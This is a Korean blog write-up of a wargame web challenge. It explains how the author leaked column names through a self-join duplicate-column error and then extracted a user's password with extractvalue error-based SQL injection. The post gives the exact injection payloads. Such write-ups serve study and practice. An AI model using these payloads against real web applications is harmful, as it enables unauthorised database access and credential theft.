들어가서 소스를 보면 ./index.php.bak 를 다운받아서 소스를 볼 수 있다.
다운받아 보면 이전에 adm1nkyj님의 join문제와 소스가 거의 똑같다. 그런데 한번 더 꼬아놨다.
관련자료 : http://qkqhxla1.tistory.com/321
어쨋든 이 문서를 보고 컬럼 정보를 하나하나 알아내보자. id와 pw컬럼정보가 둘다 없으므로 id부터
하나하나 뽑아보자.
id = and (select * from (select * from user join user a) b)--+
pw = \
를 입력해보면
dkfHDdladkID 라는 아이디 컬럼이 나온다. 그럼 pw 컬럼도 뽑아보면.
id = and (select * from (select * from user join user a using(dkfHDdladkID)) b)--+
pw = \
dkfHDdladkPWfde라는 pw컬럼이 나온다.
if($R['{BLIND_PASSWORD_COLUMN}'] == "{BLIND_STYPR_PASSWORD}")
이므로 stypr의 password를 찾는게 목적이다. (아래 주석에도 써있다.) 이제 컬럼 이름을 알았으니
본격적인 sqli를 해주면 된다. 필터링 되는 문자들을 살펴본 결과 extractvalue가 없으므로 이걸 이용한 에러 기반 인젝션을 해주자.
id = and%20extractvalue(1,concat(1,(select%20dkfHDdladkPWfde%20from%20user)))--+
pw = \
처럼 입력하면 답이 보인다. 통과.
'webhacking > sql, sql injection' 카테고리의 다른 글
wargame.kr dmbs335 (0) | 2015.06.27 |
---|---|
hackcat 테스트용 웹문제 (0) | 2015.06.04 |
wargame.kr SimpleBoard (0) | 2015.03.29 |
mysql 새발견, 5.7.5이상 에러기반 인젝션 (0) | 2015.03.26 |
adm1nkyj님의 워게임. prob2, 8 (0) | 2015.03.25 |